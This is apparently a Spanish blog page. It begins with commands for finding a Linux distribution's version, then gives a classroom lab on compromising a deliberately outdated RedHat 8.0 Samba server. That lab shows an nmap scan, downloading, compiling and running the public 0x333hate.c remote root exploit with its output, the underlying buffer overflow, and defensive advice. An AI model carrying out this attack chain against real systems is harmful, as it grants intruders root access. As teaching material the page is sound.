Como determinar la versión de GNU/Linux de un equipo

Introducción.

En muchas ocasiones es necesario conocer que distribución de GNU/Linux y que versión de la misma se encuentran ejecutándose en una máquina específica.  Debido a los cambios inducidos por las actualizaciones no siempre se cuenta con la versión que se instaló inicialmente.

Estos son los métodos mas comúnes para determinar esta información.

Determinar la distribución y versión de Linux.

El método genérico.

Aplica a todas las distribuciones de Linux.

$ cat /etc/issue

Linux Mint 9 Isadora n l

Para los RedHat.

Este método aplica también para las distribuciones basadas en RedHat como Fedora, CentOS y Scientific Linux.

$ cat /etc/redhat-release

Scientific Linux SL release 5.5 (Boron)

Para los Fedora.

$ cat /etc/fedora-release

Fedora release 13 (Goddard)

Para los Debian.

Este método aplica también para las distribuciones basadas en Debian como Ubuntu y Mint.

$ cat /etc/debian_version

5.0.5

Para Ubuntu.

$ lsb_release -a

No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 10.04.1 LTS
Release: 10.04
Codename: lucid

Historia breve de un compromiso de seguridad (parte #2) – El acceso no autorizado

Introducción.

En este punto se supone que el servidor se está ejecutando en algún lugar de Internet y que los clientes, incluído el atacante, lo acceden normalmente.

Para realizar cualquier tipo de conexión con el servidor es necesario conocer su dirección IP o en su defecto el nombre FDQN que será traducido por un servidor DNS para obtener finalmente su dirección IP.

Para la práctica se configuró la interfaz de red del Virtualbox en modo puente (bridge) para permitirle al servidor acceder a la red como una máquina independiente y obtener una dirección propia a partir del DHCP.

Es necesario entonces conocer cual es la dirección IP que obtuvo el servidor al cual vamos a acceder, para esto se utiliza el comando ifconfig.

Obtener la dirección IP de un equipo Linux
Obtener la dirección IP de un equipo Linux

A partir de este momento nos referiremos al servidor a través de su dirección IP: 192.168.1.6.

Establecer los servicios activos.

Conociendo la dirección IP del servidor, el atacante puede realizar una revisión de puertos para intentar establecer que servicios tiene activos.

$ sudo nmap -sS -sV 192.168.1.6

Starting Nmap 4.76 ( http://nmap.org ) at 2009-10-13 16:27 COT
Interesting ports on 192.168.1.6:
Not shown: 995 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 3.4p1 (protocol 1.99)
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
6000/tcp  open  X11          (access denied)
32768/tcp open  rpcbind
MAC Address: 08:00:27:20:DF:B6 (Cadmus Computer Systems)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.12 seconds

Nótese como el servidor expone los puertos de los servicios que se instalaron en el paso anterior: el puerto 22 para SSH (con una versión totalmente obsoleta) y el 139 para Samba (versión 2.x).

Irrumpir en el servidor.

En esta práctica, el atacante utiliza el exploit remoto 0x333hate.c o sambal.c para aprovecharse de una vulnerabilidad conocida en Samba 2.2.x (hasta la 2.2.8).

Descargar el exploit.

$ wget http://www.securityfocus.com/data/vulnerabilities/exploits/0x333hate.c

–2009-10-13 16:46:40–  http://www.securityfocus.com/data/vulnerabilities/exploits/0x333hate.c
Resolving www.securityfocus.com… 205.206.231.13, 205.206.231.15, 205.206.231.12
Connecting to www.securityfocus.com|205.206.231.13|:80… connected.
HTTP request sent, awaiting response… 301 Moved Permanently
Location: http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c [following]
–2009-10-13 16:46:40–  http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
Resolving downloads.securityfocus.com… 205.206.231.23
Connecting to downloads.securityfocus.com|205.206.231.23|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 6514 (6.4K) [text/plain]

Saving to: `0x333hate.c’
100%[====================================================================>] 6,514       36.7K/s   in 0.2s
2009-10-13 16:46:41 (36.7 KB/s) – `0x333hate.c’ saved [6514/6514]

Compilar el exploit.

Requiere que las herramientas de desarrollo se encuentren instaladas: build-essential.

$ gcc 0x333hate.c -o 0x333hate

$ ls -l

-rwxr-xr-x 1 jimezam jimezam 15736 2009-10-13 16:46 0x333hate
-rw-r–r– 1 jimezam jimezam  6514 2003-04-30 23:00 0x333hate.c

Ejecutar el exploit.

$ ./0x333hate -t 192.168.1.6


[~] 0x333hate => samba 2.2.x remote root exploit [~]

[~]        coded by c0wboy ~ www.0x333.org       [~]
[-] connecting to 192.168.1.6:139
[-] stating bruteforce

[-] testing 0xbfffffff
[-] testing 0xbffffdff
[-] testing 0xbffffbff
[-] testing 0xbffff9ff
[-] testing 0xbffff7ff
[-] testing 0xbffff5ff
[-] testing 0xbffff3ff
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)

Como se puede apreciar, el exploit nos ha abierto un shell con privilegios de root en el servidor!

Para verificar que esto sea cierto crearemos un archivo de prueba de la siguiente manera.

cd /tmp
touch hacked!
ls -l

-rw-rw-rw-    1 root     root 0 Oct 13 16:48 hacked!

Nótese como el archivo (vacío) creado por los comandos anteriores es propiedad del usuario root, efectivamente tenemos un shell de administrador en el servidor atacado.

El problema.

El problema sucede cuando se copia la información suministrada por el cliente a un buffer estático, el servidor falla al verificar la longitud de esta información permitiéndole a un usuario anónimo corromper posiciones estratégicas de memoria y con esto ejecutar comandos arbitrarios en el servidor con los mismos privilegios con los que se ejecuta el proceso de Samba.

El error sucede en la función call_trans2open() (línea 250) del archivo /source/smbd/trans2.c.

namelen = strlen(pname)+1;
StrnCpy(fname,pname,namelen);

Sugerencias.

  • No confiar nunca en los datos suministrados por el usuario.
  • Realizar los procesos de validación de la información tanto en el cliente como en el servidor.
  • Siempre verificar que la información proveniente del usuario o de la base de datos sea de los tipos y la longitudes esperadas.
  • Mantener siempre actualizado el software con la versión mas reciente posible, especialmente en el servidor.
  • Utilizar firewalls que regulen el flujo de datos tanto de entrada como de salida.
  • Minimizar los servicios ejecutados en el servidor a sólo los necesarios.
  • Bloquear con el firewall el acceso a los servicios según no se requieran desde las distintas interfaces de red del servidor.
  • Revisar con cuidado los registros del servidor cuyas transacciones involucren servicios de hosting gratuitos.

Historia breve de un compromiso de seguridad (parte #1) – Preparando el servidor

Introducción.

Esta miniserie de artículos está basada en una práctica del curso de Arquitecturas de Sistemas Distribuídos de la Especialización en Ingeniería de Software de la UAM que dicté hace poco.  Resultó que el grupo tenía gran interés en los temas de seguridad así que preparé esta práctica que, a pesar de basarse en software obsoleto, es muy interesante y didáctica a mi parecer.

Aclaro que no soy un experto en el tema, sin embargo aprendí un poco al respecto en una experiencia similar que tuve cuando recibí la administración de unos servidores que se encontraban prácticamente desatendidos y por ende desactualizados, dejándolos como una presa fácil para este tipo de ataques.  Por obvias razones no se espera que un servidor se encuentre conectado a Internet en tal estado de desprotección y desactualización.

En esta primera parte se va a realizar la instalación del servidor el cual estará basado en RedHat 8.0 y tendrá los servicios de SSH para acceso remoto y Samba para compartir archivos (ambos ampliamente utilizados).  Para hechos de la práctica el servidor no tendrá firewall sin embargo esto no es necesario ya que sólo requiere tener acceso de conexión a Samba.

Instalación básica del sistema operativo.

El servidor objetivo para mi caso se ubicará en una máquina virtual basada en Virtualbox a la cual le instalaremos una versión básica de Linux RedHat 8.0 con ambiente gráfico, herramientas de administración y desarrollo, y soporte para el protocolo Samba.

Activar el servicio de Samba al inicio del sistema operativo.

$ /usr/sbin/redhat-config-services

Seleccionar smb y presionar los botones de Save y Quit.

Activar el servicio de Samba
Activar el servicio de Samba

Instalar los detectores de rootkits.

Instalación de Chkrootkit.

# wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz

# tar zxvf chkrootkit.tar.gz

# cd chkrootkit-*

# make sense

# ./chkrootkit

Instalación de Rkhunter.

# wget http://sourceforge.net/projects/rkhunter/files/rkhunter/1.3.4/rkhunter-1.3.4.tar.gz/download

# tar zxvf rkhunter-*.tar.gz

# cd rkhunter-*

# ./installer-sh –layout default –install

# rkhunter -c

Reiniciar el servidor.

# reboot

Enlaces.